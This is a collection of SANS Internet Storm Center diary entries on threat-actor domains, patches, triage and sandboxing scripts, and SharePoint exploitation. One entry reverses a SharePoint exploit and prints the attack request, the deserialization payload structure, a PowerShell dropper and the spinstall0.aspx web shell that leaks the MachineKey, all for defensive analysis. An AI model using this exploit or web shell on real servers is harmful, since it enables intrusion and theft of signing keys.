This week, CISA updated its advisory on Scattered Spider. Scattered Spider is a threat actor using social engineering tricks to access target networks. The techniques used by Scattered Spider replicate those used by other successful actors, such as Lapsus$. Social engineering does not require a lot of technical tools; creativity is key, and defenses have a hard time keeping up with the techniques used by these threat actors.

For this diary, I want to "zoom in" on one update noted in this week's CISA report. CISA noted that Scattered Spider is using the following domain name patterns:

targetsname-cms[.]com
targetsname-helpdesk[.]com
oktalogin-targetcompany[.]com

Using our "recent domain" API, we can run a quick check on some of these. Let's start by getting the latest (yesterday's) domains:

curl -o recent.json 'https://isc.sans.edu/api/recentdomains/?json'

How many entries do we have so far?

% jq length recent.json
117782

This is low, but not all domain names have been processed yet. Now we will look for the patterns from the CISA report. I first checked "oktalogin", which I figured was the most specific text, but I found nothing. Next, I checked "helpdesk" (I omitted the .com as I figured they may use different TLDs depending on the target):

% jq '.[] | select(.domainname | contains ("helpdesk")) | .domainname' recent.json
"360aihelpdesk.com"
"ai360helpdesk.com"
"helpdesk-academy.net"
"helpdesk-direct.online"
"helpdesk-guardprotect.com"
"helpdesk-software-29.online"
"helpdesk-truist.com"
"helpdeskmaintenanceinc.online"
"helpdeskmicrosoft.com"

We got a few nice domain names here. I highlighted them in red and bold above. Truist appears to be an obvious target. Looking for other domains that contain the word "Truist":

% jq '.[] | select(.domainname | contains ("truist")) | .domainname' recent.json
"altruistonline.shop"
"cdn-truist.com" 
"helpdesk-truist.com"

The first one (altruistonline.shop) is likely unrelated. But cdn-truist.com could be interesting. They do not resolve to an IP address. However, the "cdn-" pattern was not in the report, so it may be a new pattern used by Scattered Spiders or similar gangs.

A couple of lessons learned: 

• You should monitor for your brand name being used to register new URLs. You can use commercial services, our API as shown above, or what I consider the "secret weapon": TLS transparency logs. Facebook has a nice free one that includes common variations and IDN lookalikes.
• Do not take reports, like CISA's, too literally. They are well-researched, but that comes at the cost of being outdated. Threat actors will also change their MOU after a high-profile report is released. Look for the basic patterns, not the exact strings.

Note the fact that "Truist" is in the list may indicate that they are a target, but does not show that they fell victim to an attack. I do not see any evidence that the domain names have been used so far.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Today we are trying something a bit different (again). Brandon Evans, senior instructor with SANS, contributed the video below, talking a bit about the breach of the Tea App, and how to prevent and detect this vulnerability.

Firebase is a very popular database developed by Google. It easily ties in with modern web and mobile applications. Sadly, as so often, it comes with some configuration challenges out of the box. 

As a traditional ("old school") web developer, it would have never crossed my mind to allow users to connect directly to my backend database. But modern tools like Firebase often encourage just that. All security controls must now reside in the database itself, and many modern, in particular "NoSQL" databases, are lacking the fine-grained access control rules we learned to love in traditional SQL databases. This leads to applications that may implement detailed access control rules, but they become meaningless once the user connects directly to the database, bypassing any application-specific controls. Flawed applications often rely on client-based access control "tricks" that are easily bypassed. 

Sadly, this is not just a vibe-coding issue. Developers have been able to code defective applications without the help of AI, and this is not only a bad, but also a sad, pattern found in many modern applications using tools like Firebase.

Fixing this issue is not necessarily hard. Start by implementing strong Firebase rules, or avoid these tools in favor of backend data stores with stronger access controls out of the box. If you do rely on specific strong configurations, make sure they are verified as part of your CI/CD pipeline. And as always, lock down your cloud configuration. Firebase does inherit GCP IAM policies.

More details from Brandon Evans are in the video below.

You can reach Brandon at bevans-at-sans.org or check out his classes at https://sans.org/brandonevans

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Apple today released updates for iOS, iPadOS, macOS, watchOS, tvOS, and visionOS. This is a feature release, but it includes significant security updates. Apple patches a total of 89 different vulnerabilities. None of these vulnerabilities has been identified as exploited.

Apple's vulnerability descriptions are not very telling. Most vulnerabilities are likely DoS issues, causing a system or individual subsystems to crash. There are a few privilege escalation and sandbox escape vulnerabilities that Apple addressed in this update. Vulnerabilities identified as memory corruption or heap corruption may lead to code execution, but the exact scope is difficult to ascertain from Apple's limited information.

There are a few "interesting" vulnerabilities:

CVE-2025-43217: Privacy Indicators for microphone or camera access may not be correctly displayed. This, likely, refers to the green dot displayed next to the control center, not the physical LED used by some Apple laptops.

CVE-2025-43240: A download's origin may be incorrectly associated. A "Mark of the Web" issue? Apple uses extended file attributes for this. Sadly, no details to review existing downloads.

For macOS, security-only updates are available for versions back to Ventura (macOS 13). For iOS/iPad OS, updates are available for 18 and 17.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

When you need to quickly analyze a lot of data, there is one critical step to perform: Triage. In forensic investigations, this step is critical because it allows investigators to quickly identify, prioritize, and isolate the most relevant or high value evidence from large volumes of data, ensuring that limited time and resources are focused on artifacts most likely to reveal key facts about an incident. Sometimes, a quick script will be enough to speed up this task.

Today, I'm working on a case where I have a directory containing +20.000 mixed files. Amongst them, a lot of ZIP archives (mainly Office documents), containing also lot of files. The idea is to scan all those files (including the ZIP archives) for some keywords. I wrote a quick Python script that will scan all files against the embedded YARA rule and, if a match is found, copy the original file into a destination directory.

Here is the script:

#
# Quick Python triage script
# Copy files matching a YARA rule to another directory
#
import yara
import os
import shutil
import zipfile
import io

# YARA rule
yara_rule = """
rule case_xxxxxx_search_1
{
    strings:
        $s1 = "string1" nocase wide ascii
        $s2 = "string2" nocase wide ascii
        $s3 = "string3" nocase wide ascii
        $s4 = "string4" nocase wide ascii
        $s5 = "string5" nocase wide ascii
    condition:
        any of ($s*)
}
"""

source_dir = "Triage"
dest_dir = "MatchedFiles"
os.makedirs(dest_dir, exist_ok=True)
rules = yara.compile(source=yara_rule)

def is_zip_file(filepath):
    """
    Check ZIP archive magic bytes.
    """
    try:
        with open(filepath, "rb") as f:
            sig = f.read(4)
            return sig in (b"PK\x03\x04", b"PK\x05\x06", b"PK\x07\x08")
    except Exception:
        return False

def safe_extract_path(member_name):
    """
    Returns a safe relative path inside the destination folder (Prevent .. in paths).
    """
    return os.path.normpath(member_name).replace("..", "_")

def scan_file(filepath, file_bytes=None, inside_zip=False, zip_name=None, member_name=None):
    """
    Scan a file with YARA.
    """
    try:
        if file_bytes is not None:
            matches = rules.match(data=file_bytes)
        else:
            matches = rules.match(filepath)

        if matches:
            if inside_zip:
                print("[MATCH] {member_name} (inside {zip_name})")
                rel_path = os.path.relpath(zip_name, source_dir)
                filepath = os.path.join(source_dir, rel_path)
                dest_path = os.path.join(dest_dir, rel_path)
            else:
                print("[MATCH] {filepath}")
                rel_path = os.path.relpath(filepath, source_dir)
                dest_path = os.path.join(dest_dir, rel_path)
            
            # Save a copy
            os.makedirs(os.path.dirname(dest_path), exist_ok=True)
            shutil.copy2(filepath, dest_path)
    except Exception as e:
        print(e)
        pass

# Main
for root, dirs, files in os.walk(source_dir):
    for name in files:
        filepath = os.path.join(root, name)
        if is_zip_file(filepath):
            try:
                with zipfile.ZipFile(filepath, 'r') as z:
                    for member in z.namelist():
                        if member.endswith("/"):  # Skip directories
                            continue
                        try:
                            file_data = z.read(member)
                            scan_file(member, file_bytes=file_data, inside_zip=True, zip_name=filepath, member_name=member)
                        except Exception:
                            pass
            except zipfile.BadZipFile:
                pass
        else:
            scan_file(filepath)

Now, you can enjoy some coffee while the script does the job:

[MATCH] docProps/app.xml (inside Triage\xxxxxxx.xlsx)
[MATCH] xl/sharedStrings.xml (inside Triage\xxxxx.xlsx)
[MATCH] xl/sharedStrings.xml (inside Triage\xxxxxxxxxxxxxxxxxxxx.xlsx)
[MATCH] ppt/slides/slide3.xml (inside Triage\xxxxxxxxxxxxxxxxxxxxxx.pptx)
[MATCH] ppt/slides/slide12.xml (inside Triage\xxxxxxxxxxxxxxxxxxxxxx.pptx)
[MATCH] ppt/slides/slide14.xml (inside Triage\xxxxxxxxxxxxxxxxxxxxxx.pptx)
[MATCH] ppt/slides/slide15.xml (inside Triage\xxxxxxxxxxxxxxxxxxxxxx.pptx)
[MATCH] xl/sharedStrings.xml (inside Triage\xxxxxxxx.xlsx)
[MATCH] Triage\xxxxxxxxxxxxxxxxxxxxxxx.pdf
[MATCH] Triage\xxxxxxxxxxxxxxxxxxx.xls
[MATCH] xl/sharedStrings.xml (inside Triage\xxxxxxxxxxxxxxxx.xlsx)
[MATCH] Triage\xxxxxxxxxxxxxxxxxxxxxxxxxx.xls

You can see that, with a few lines of Python, you can speedup the triage phase in your investigations. Note that the script is written to handle my current files set and is not ready for broader use (lile to handle password-protected archives or other types of archives)

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Last week, newly exploited SharePoint vulnerabilities took a lot of our attention. It is fair to assume that last Monday (July 21st), all exposed vulnerable SharePoint installs were exploited. Of course, there is nothing to prevent multiple exploitation of the same instance, and a lot of that certainly happened. But why exploit it yourself if you can just take advantage of backdoors left behind by prior exploits? A number of these backdoors were widely publicised. The initial backdoor "spinstall0.aspx", was frequently observed and Microsoft listed various variations of this filename [1].

Since then, we have observed attempts to access these backdoors. The scans started a week ago, just as the exploits (and the name of the backdoors) became better known. 

The graph displays the number of requests we see in our honeypots each day for URLs like "'/_layouts/.*\.aspx". This includes some exploit attempts, as they also match this pattern. But see a few "untargeted" exploit attempts at this point. Many of the requests originate from researchers counting the number of exploited systems.

Here is the complete list of possible URLs, including the date they were first detected by our honeypots:

[1] https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

When you need to analyze some suspicious pieces of code, it's interesting to detonate them in a sandbox. If you don't have a complete sandbox environment available or you just want to avoid generatin noise on your network, why not route the traffic to a sinkhole or NULL-route (read: packets won't be sent across the normal network and default gateway).

When you inspect a process using the /proc[1] virtual filesystem, there is a "route" file:

remnux@remnux:~$ cat /proc/1180/net/route
Iface    Destination    Gateway     Flags    RefCnt    Use    Metric    Mask        MTU    Window    IRTT                                                       
ens19    00000000    01FEA8C0    0003    0    0    100    00000000    0    0    0                                                                            
ens18    004A10AC    00000000    0001    0    0    0    00FFFFFF    0    0    0                                                                              
ens19    00FEA8C0    00000000    0001    0    0    0    00FFFFFF    0    0    0                                                                              
ens19    01FEA8C0    00000000    0005    0    0    100    FFFFFFFF    0    0    0

It displays the IP routing table assigned to this process. Typically, IP addresses are encoded in little-endian hexadecimal values. They can be easily decoded using a few lines of Python:

gw = "01FEA8C0"
octets = [gw[i:i+2] for i in range(0, len(gw), 2)]
ip = '.'.join(str(int(o, 16)) for o in octets)
print(ip)  # Will return: 1.254.168.192

Does it mean that we could apply a specific routing table to a process? Yes and no... In /proc, the "route" file is read-only.

But, Linux is full of features that many people aren't aware of. One of them are namespaces[2]. It's a kernel feature (introduced around 2016 if I remember well) that provides isolation of system resources between processes (a bit like containers). Each namespace type—such as PID, mount, UTS, network, IPC, and user—isolates a specific aspect of the operating system environment. For example, the network namespace gives processes their own network stack, including interfaces and routing tables. Very interesting!

Let's try this and run our suscipious script in a dedicated namespace. My suspicious script will be super simple:

remnux@remnux:~$ cat sample.sh 
#!/bin/bash
echo "Am I bad?"
curl https://isc.sans.edu

First example, no network connectivity at all!

remnux@remnux:~$ sudo unshare --net bash
root@remnux:/home/remnux# ./sample.sh 
Am I bad?
curl: (6) Could not resolve host: isc.sans.edu
root@remnux:/home/remnux# ip a
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
root@remnux:/home/remnux# ip r
Error: ipv4: FIB table does not exist.
Dump terminated
root@remnux:/home/remnux# exit
remnux@remnux:~$ 

The unshare command (executed as root) will create a new shell in a new namespace with dropped network settings. When curl is executed, it can't resolve isc.sans.edu nor connect to it. We have a complete network isolation.

Second example, let's build a dedicated IP stack that will route packets to another IP address, our synchole. A pair of virtial Ethernet interfaces must be added. In this case, 10.0.0.1 will be the new namespace and 10.0.0.2 the main one.

(Note: I'll change the bash prompt to make it clearer)

remnux@remnux:~$ sudo unshare --net bash
root@remnux:/home/remnux# export PS1="namespace> "
namespace> ip link set lo up
namespace> ip link add veth0 type veth peer name veth1
namespace> ip link set veth0 up
namespace> ip addr add 10.0.0.1/24 dev veth0
namespace> ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: veth1@veth0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether b6:5c:6e:ed:c3:62 brd ff:ff:ff:ff:ff:ff
3: veth0@veth1: <NO-CARRIER,BROADCAST,MULTICAST,UP,M-DOWN> mtu 1500 qdisc noqueue state LOWERLAYERDOWN group default qlen 1000
    link/ether 66:72:35:1f:9f:9e brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.1/24 scope global veth0
       valid_lft forever preferred_lft forever
namespace> ip link set veth1 netns 1

On the main namespace (your original shell), create the virtual NIC:

root@remnux:/home/remnux# ip addr add 10.0.0.2/24 dev veth1
root@remnux:/home/remnux# ip link set veth1 up

Back in the new namespace:

namespace> ping 10.0.0.2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.
64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=0.020 ms
64 bytes from 10.0.0.2: icmp_seq=2 ttl=64 time=0.034 ms
^C
--- 10.0.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1023ms
rtt min/avg/max/mdev = 0.020/0.027/0.034/0.007 ms

Let's add a default route to the IP in the main namespace:

namespace> ip route add default via 10.0.0.2
namespace> ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
^C
--- 8.8.8.8 ping statistics ---
13 packets transmitted, 0 received, 100% packet loss, time 12293ms

If we run a tcpdump on veth1, we can now capture all the network connection attempts from the namespace:

root@remnux:/home/remnux# tcpdump -i veth1 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on veth1, link-type EN10MB (Ethernet), capture size 262144 bytes
11:02:32.122380 ARP, Request who-has 10.0.0.2 tell 10.0.0.1, length 28
11:02:32.122408 ARP, Reply 10.0.0.2 is-at b6:5c:6e:ed:c3:62, length 28
11:02:32.154271 IP 10.0.0.1 > 8.8.8.8: ICMP echo request, id 18547, seq 6, length 64
11:02:33.178401 IP 10.0.0.1 > 8.8.8.8: ICMP echo request, id 18547, seq 7, length 64
11:02:34.202411 IP 10.0.0.1 > 8.8.8.8: ICMP echo request, id 18547, seq 8, length 64
^C
5 packets captured
5 packets received by filter
0 packets dropped by kernel

Finally, let's verify the routing table of the shell running in the new namespace:

namespace> echo $$
149522

On the main namespace:

root@remnux:/home/remnux# cat /proc/149522/net/route 
Iface    Destination    Gateway     Flags    RefCnt    Use    Metric    Mask        MTU    Window    IRTT                                                       
veth0    00000000    0200000A    0003    0    0    0    00000000    0    0    0                                                                              
veth0    0000000A    00000000    0001    0    0    0    00FFFFFF    0    0    0  

(0x0200000A = 10.0.0.2)

Done! The current configuration is very basic and does not provide, amongst others, a DNS. Your sinkholed sample won't be able to resolve FQDN. Also, you could really route the packets by enabling ip_forward and NAT the traffic. 

WARNING: This is not a bullet-proof solution to perform malware analysis: Only the network traffic was isolated!

[1] https://docs.kernel.org/filesystems/proc.html
[2] https://en.wikipedia.org/wiki/Linux_namespaces

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

As I mention every time I teach FOR577, I have been a big fan of file integrity monitoring tools (FIM) since Gene Kim first released Tripwire well over 30 years ago. I've used quite a few of them over the years including tripwire, OSSEC, samhain, and aide, just to name a few. For many years, I used the fcheck Perl script (by Michael A. Gumienny) that was available as an apt package on Ubuntu because it was lightning fast. Unfortunately, sometime between Ubuntu 16.04 and Ubuntu 20.04 (my memory fails me as to exactly when), it slowed down on many of the systems I managed to the point where instead of being able to run it 4-6 times a day, it would now sometimes take more than 24 hours to run. And that was just running it on select directories, not the entire system, the way I run tools like aide. Though I started writing Perl scripts in 1989, I didn't spend any time trying to figure out why fcheck was suddenly having so many issues. I let it go for quite a while, but a few months ago, I started thinking about it again and decided I'd write a look-alike in python. What I'm releasing today is not quite complete, hence the 0.9.0 version number, but I've been using it an about a dozen systems (Debian and Ubuntu, though it shoud run just fine on any Linux with Python 3.9 or newer, probably older, too, but I again haven't tried it on anything older) for about 6 months. I still want to add a couple of things including the ability to include additional config files like the .local.cfg that fcheck had, rather than having to put all the additions into the primary config.

I've named my tool ficheck.py[1] (File Integrity CHECK) since I didn't want to step on Mr. Gumienny's tool name, but I freely admit this is an homage to his tool that I really liked and used for years. I stole his config file and report formats. The script runs in under 90 seconds on all the systems I've been testing on including some large systems in public cloud and some very small memory VMs. I am also releasing a quick and dirty install script that will install a basic config, install a cron job to run it every 2 hours, and another of my scripts, mail_stuff.py[2] which will use mailx to send e-mail if it gets any ASCII (or UTF-8) bytes on stdin. Everything needed to install is in my scripts github repo[3]. The tool monitors for file creation and deletion, and inode number change (meaning a new file with same name), plus changes to file size, number of links, ownership, group, permissions, SHA2-256 hash (on files less than 500M, configurable witha  commandline switch), file modification time (MTime), file metadata (inode) change time (CTime), and, if the pystatx module is installed (as described in my mac_robber.py update diary last year), file creation time (BTime).

The directories I generally watch are ones where I don't expect a lot of changes unless I'm applying patches. I do tune it to remove some files that get modified regularly during normal operations. I also have added some places (like /dev/shm) where attackers sometimes try to hide their malware. Here is a screenshot of the e-mail received when there are changes found. 

Check it out. If you run into any problems or have suggestions for improvements, e-mail me at the address below or on the handlers list or open an issue on github.

References:

1. https://github.com/clausing/scripts/blob/master/ficheck.py
2. https://github.com/clausing/scripts/blob/master/mail_stuff.py
3. https://github.com/clausing/scripts/tree/master

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

A few days after the exploit originally became widely known, there are now many different SharePoint exploit attempts in circulation. We do see some scans by researchers to identify vulnerable systems (or to scan for common artifacts of compromise), and a few variations of the "ToolPane.aspx" URL being hit. Even for our "random" honeypots, the number of hits has increased significantly without having to emulate SharePoint better.

But how do we make sense of the exploit payload? Turns out most of them are rather straightforward to reverse. I will use this commonly referred to payload as an example: https://gist.githubusercontent.com/gboddin/6374c04f84b58cef050f5f4ecf43d501/raw/c472d3381ee8680a0fdf421e6e58625e99eb53a6/payload.txt .

You can also find a video walkthrough on YouTube:

First of all, verify that you are dealing with the correct exploit. Key identifiers for CVE-2025-53771 (the authentication bypass flaw) is the "Referer" for "SignOut.aspx". The exploit itself is targeting the URL "ToolPane.aspx". See the respective headers:

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close

Next, the payload. As indicated in the Content-Type headers, the payload is URL encoded. CyberChef does a nice job decoding it.

MSOTlPn_Uri=http://www.itsc.org/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=
    <%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
    <%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>

<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" 
runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
  <div class="divWaiting">            
    <Scorecard:ExcelDataSet CompressedDataTable=" [ BASE64 Encoded / compressed data ]" DataTable-CaseSensitive="false" runat="server">
</Scorecard:ExcelDataSet>
  </div>
</ProgressTemplate>
</asp:UpdateProgress>

Above, you see the decoded "scaffolding" for the exploit. Overall, this is a basic .NET deserialization payload using the "CompressedDataTable" attribute. The value for the attribute is base64 encoded and compressed. I usually pipe it through base64 -d and zcat:

cat payload | base64 -d | zcat

Lucky for us, the attacker named the exploit element "pwn" to make it easier to find:

<pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
    <ExpandedElement/>
    <ProjectedProperty0>
      <MethodName>Deserialize</MethodName>
      <MethodParameters>
         <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"> [ base64 encoded data ]</anyType>
      </MethodParameters>
      <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
    </ProjectedProperty0>
  </ExpandedWrapperOfLosFormatterObjectDataProvider>
</pwn>

And after one more base64 decoded payload, we arrive at a PowerShell command. A binary could as well replace this, but well, we get another base64 encoded string:

powershell -EncodedCommand [base64 encoded string] 

You thought we were done with base64 decoding? Not quite yet:

$base64String = [ base64 encoded string ]
$destinationFile = "C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
$decodedBytes = [System.Convert]::FromBase64String($base64String)
$decodedContent = [System.Text.Encoding]::UTF8.GetString($decodedBytes)
$decodedContent | Set-Content -Path $destinationFile -ErrorAction Stop

This little PowerShell script is creating the infamous spinstall0.aspx file. Its content can be found in the base64 string, which decodes to:

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
    public void Page_load()
    {
        var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
        var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
        var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
        var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
        Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
    }
</script>

The .NET code that reveals the MachineKey! Anyone retrieving spinstall0.aspx will be greeted by the system's MachineKey, enabling them to sign VIEWSTATES at will.

This is also the big lesson: An attacker may have obtained the MachineKey, giving them access to your system via spoofed Viewstate's. Rotating MachineKeys is CRITICAL!

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Since WinRAR 7.10, not all Mark-of-The-Web data (stored in the Zone.Identifier Alternate Data Stream) is propagated when you extract a file from an archive.

Take my DidierStevensSuite.zip file that I downloaded with a browser in normal mode. It has the following Zone.Identifier ADS:

Not only does it have a ZoneId field that indicates the origin of the file (3 = Internet), but it also has ReferredUrl and HostUrl fields that tell use from where the file was downloaded.

If we now open this zip file with WinRAR (version 7.10 or later) and extract one or more files (I extract file AnalyzePESig-crt-x64.exe):

Many archive utilities like WinRAR will propagate the MoTW information: it means that they copy the Zone.Identifier ADS from the downloaded archive to the extracted files.

But if we take a look at the Zone.Identifier ADS from extracted file AnalyzePESig-crt-x64.exe, we see that the ReferredUrl and HostUrl fields have disappeared:

That's because since version 7.10, WinRAR has a privacy feature that redacts the Zone.Identifier information: only the ZoneId field is propagated, not the other fields.

This is a default setting that can be disabled (Zone value only):

Didier Stevens
Senior handler
blog.DidierStevens.com

Wireshark release 4.4.8 fixes 9 bugs.

Didier Stevens
Senior handler
blog.DidierStevens.com

Since the ongoing “ToolShell” exploitation campaign, in which threat actors attack on-premise Sharpoint servers using a chain of two recently published vulnerabilities[1,2,3], is still on top of the cyber security news[4,5,6,7], I thought it might be a good time to look at the question of how quickly do we – as a global society – actually patch actively-exploited vulnerabilities when it comes to our internet-facing systems.

While this is admittedly a very complex topic, and in order to arrive at any detailed conclusions, an in-depth, long-term study would be needed, I believe that even a quick look at available data may show us some general (and hopefully interesting) trends.

Since I - on my own - lack the ability to periodically scan the entire internet and identify how many systems are affected and/or patched when it comes to specific vulnerability, I decided to use data gathered from Shodan using my TriOp tool[8] over the past 30 months. Specifically, I looked at the number of systems that Shodan detected as “vulnerable” to any vulnerability listed in the CISA KEV catalog[9] each day during that timeframe.

It should be mentioned at this point that Shodan is not capable of detecting all of the KEV vulnerabilities (of the approximately 1380 vulnerabilities currently listed in the KEV, it seems to be able to identify only between 200 and 250) and that even for those vulnerabilities it detects, the mechanisms it uses to identify whether a specific system is vulnerable are passive in nature. Therefore, the resulting numbers are – by necessity – not exact, since there is a significant potential for false-positive (or false-negative) identification. Nevertheless, this data still provides a good starting point.

From all the data, I removed CVEs for which Shodan detected less than 50 vulnerable systems (or – to be more exact – 50 public IP addresses) and then generated time charts for all of the rest.

Based on a quick visual analysis, it appears that (if we gloss over the sharp sudden decreases/increases that Shodan is prone to – see e.g. [10] – and omit other Shodan-introduced artifacts, such as sharp increases in detections most likely associated with new detection analytics) for most vulnerabilities, the number of affected systems decreases over time in more or less linear fashion, with a tendency to slowly level out… As you may see below, in some cases, the rate of decrease is slower than in others, which may be due to slower patching or due to Shodan (at least partially) not being able to recognize backported patches.

Data for CVE-2019-0211 

Data for CVE-2022-0028

Data for CVE-2023-20109

Although for some vulnerabilities, there were occasions when a sharper short-term decrease was visible in the number of vulnerable systems, these were always explainable not by increased patching but by removal of systems that reached their “end of life” from production environments.

This effect can be clearly seen in chart for an Exchange vulnerability CVE-2021-31207 (and in charts for two other Exchange vulnerabilities - CVE-2021-34523 and CVE-2021-34473), where we may observe a significant decrease of vulnerable IP addresses detected by Shodan starting at the end of April 2023 and ending in the early May 2023. This decrease is almost certainly related to the fact that Microsoft ended support for Exchange 2013 (which was affected by the vulnerability/vulnerabilities)  on April 11, 2023[11].

Data for CVE-2021-31207

To sum up, although we need to take the Shodan numbers with a grain of salt, and although vulnerabilities in CISA KEV may not necessarily be the most important ones from everyone’s perspective, from what we’ve shown, it seems that even in July of 2025, the answer to the question of “How quickly do we patch?” is still “Not nearly quickly enough!”.

And while we’ve historically seen cases of vulnerabilities, where patching was relatively fast and the remaining “vulnerable population” was nearly insignificant (such as CVE-2019-19781 AKA “Shitrix”)[12], these – sadly – still seem to be the exception, rather than the rule…

[1] https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/
[2] https://www.cisa.gov/news-events/alerts/2025/07/20/microsoft-releases-guidance-exploitation-sharepoint-vulnerability-cve-2025-53770
[3] https://research.eye.security/sharepoint-under-siege/
[4] https://www.bleepingcomputer.com/news/microsoft/microsoft-sharepoint-zero-day-exploited-in-rce-attacks-no-patch-available/
[5] https://thehackernews.com/2025/07/critical-microsoft-sharepoint-flaw.html
[6] https://www.securityweek.com/sharepoint-under-attack-microsoft-warns-of-zero-day-exploited-in-the-wild-no-patch-available/
[7] https://www.helpnetsecurity.com/2025/07/20/microsoft-sharepoint-servers-under-attack-via-zero-day-vulnerability-with-no-patch-cve-2025-53770/
[8] https://isc.sans.edu/diary/27034
[9] https://www.cisa.gov/known-exploited-vulnerabilities-catalog
[10] https://isc.sans.edu/diary/SSL+20+turns+30+this+Sunday+Perhaps+the+time+has+come+to+let+it+die/31664
[11] https://learn.microsoft.com/en-us/troubleshoot/exchange/administration/exchange-2013-end-of-support
[12] https://isc.sans.edu/diary/26900

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

Microsoft announced yesterday that a newly discovered critical remote code execution vulnerability in SharePoint is being exploited. There is no patch available. As a workaround, Microsoft suggests using Microsoft Defender to detect any attacks. To use Defender, you must first configure the AMSI integration to give Defender visibility into SharePoint. Recent versions of SharePoint have the AMSI integration enabled by default.

Microsoft also states: "If you cannot enable AMSI, we recommend you consider disconnecting your server from the internet until a security update is available."

Defender will just detect the post-exploit activity. Currently, webshells are observed as a payload being deployed, taking advantage of the vulnerability.

The best write-up and details I found so far come from the Eye Security research team. They initially used CVE-2025-49704 and CVE-2025-49706 to identify the vulnerability. Later, Microsoft confirmed that this is a new issue and started using CVE-2025-53770. This latest issue appears to be a variation of the older vulnerabilities patched in this month's Patch Tuesday.

The vulnerability exploits an authentication bypass issue triggered by setting the "Referer" header to "/_layouts/SignOut.aspx". This vulnerability is then exploited to trigger remote code execution via "/_layouts/15/ToolPane.aspx". 

In our honeypot data, we observed two instances of the "ToolPane.aspx" URL, first on July 16th (on individual hit, I am waiting to hear from the submitter to see if there are details available). Today, we received additional reports, but they originated from p55001.probes.atlas.ripe.net:9000 and are likely related to scanning for research purposes. These hits did not include the Referer header to trigger the vulnerabiliy.

The hit on July 16th originated from %%ip:172.174.82.132%%. This IP address appears to be owned by Microsoft.

Microsoft Advisory:
https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/
Eye Security Blog:
https://research.eye.security/sharepoint-under-siege/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

A interesting phishing attempt was reported by a contact. It started with a simple email that looked like a voice mail notification like many VoIP systems deliver when the call is missed. There was a WAV file attached to the mail[1].

Here is a transcript of the recording:

"Hi, this is xxxx from Veeam Software. I'm calling you today regarding ... <not clear> ... your backup license which has expired this month. Would you please give me a call to discuss about it?"

This was not targeted because the person who received the mail was not involved with Veeam (or any IT environment). Did you receive such emails recently or in the past?

[1] https://blog.rootshell.be/stuff/veeam-voicemsg.wav

Xavier Mertens (@xme)
